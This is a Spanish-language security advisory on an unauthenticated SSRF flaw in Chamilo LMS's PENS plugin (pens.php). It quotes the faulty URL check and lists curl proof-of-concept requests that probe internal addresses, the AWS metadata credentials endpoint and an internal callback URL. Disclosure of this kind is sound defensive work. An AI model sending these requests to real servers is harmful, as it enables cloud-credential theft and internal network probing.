
SSRF no autenticado en Chamilo LMS a través del plugin PENS (pens.php) — CVSS 7.5
Severidad: Alta (CVSS 7.5)
CWE: CWE-918 (Server-Side Request Forgery)
Afectado: chamilo/chamilo-lms 2.x (commit af6b7002 y anteriores)
Aviso: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
El endpoint del plugin PENS (Package Exchange Notification Services) public/plugin/Pens/pens.php es accesible sin autenticación y acepta URLs controladas por el usuario tanto para la descarga de paquetes como para las notificaciones de callback. Las funciones de validación de URL comprueban el esquema y la presencia de host, pero no realizan ningún filtrado de IP privadas, lo que permite SSRF sin autenticación hacia redes internas y servicios de metadatos en la nube.
Después de encontrar CVE-2026-33715 en install.ajax.php de Chamilo, seguí auditando el código en busca de otros endpoints sin autenticación con efectos a nivel de red. El plugin PENS (public/plugin/Pens/) destacó: PENS es un protocolo heredado de entrega de contenido e-learning que implica obtener paquetes desde URLs externas y enviar callbacks a servidores externos — ambas superficies clásicas de SSRF.
Leí PensProcessor.php buscando la lógica de validación de URL. isAllowedDownloadUrl() e isAllowedCallbackUrl() ambas comprueban el esquema (http/https) y un host no vacío — y se detienen ahí. Sin filtrado RFC 1918, sin comprobación de loopback, sin comprobación de link-local. El comentario incluso dice "returns true" después de la comprobación del host, lo que dejaba claro que esto se escribió sin tener en cuenta SSRF.
Lo que distingue esto de la CVE anterior de Chamilo: tiene dos vectores SSRF independientes — uno para la obtención del paquete (el servidor descarga un archivo desde una URL controlada por el atacante) y otro para los callbacks (el servidor hace POST a endpoints controlados por el atacante). El vector de callback es particularmente útil para exfiltrar respuestas de servicios internos, ya que el servidor hará POST de los datos de estado de PENS a cualquier URL que especifiques, y tú controlas el análisis de la respuesta.
En despliegues en la nube, el endpoint de metadatos 169.254.169.254 es alcanzable a través de ambos vectores.
Archivo: public/plugin/Pens/lib/PensProcessor.php
Dos vectores SSRF distintos:
Vector 1 — Obtención de URL de paquete (líneas 376, 138):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← sin comprobación de IP privada
}
// Luego se obtiene con curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
Vector 2 — SSRF por callback (línea 318): Los parámetros receipt y alerts especifican URLs a las que el servidor envía callbacks POST — la misma validación ausente.
isAllowedDownloadUrl() e isAllowedCallbackUrl() solo validan que la URL tenga un esquema http/https y un host no vacío. Los rangos privados RFC 1918 (10.x, 172.16.x, 192.168.x), loopback (127.x), link-local (169.254.x — metadatos en la nube) y equivalentes IPv6 son todos aceptados.
# Vector 1: Sondear red interna a través de package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# Endpoint de metadatos de AWS
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# Vector 2: SSRF por callback — el servidor hace POST a un endpoint interno controlado por el atacante
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254Nota: esto es distinto de CVE-2022-27426 (SSRF en herramientas sociales/enlaces) — ruta de código diferente, plugin diferente, sin autenticación.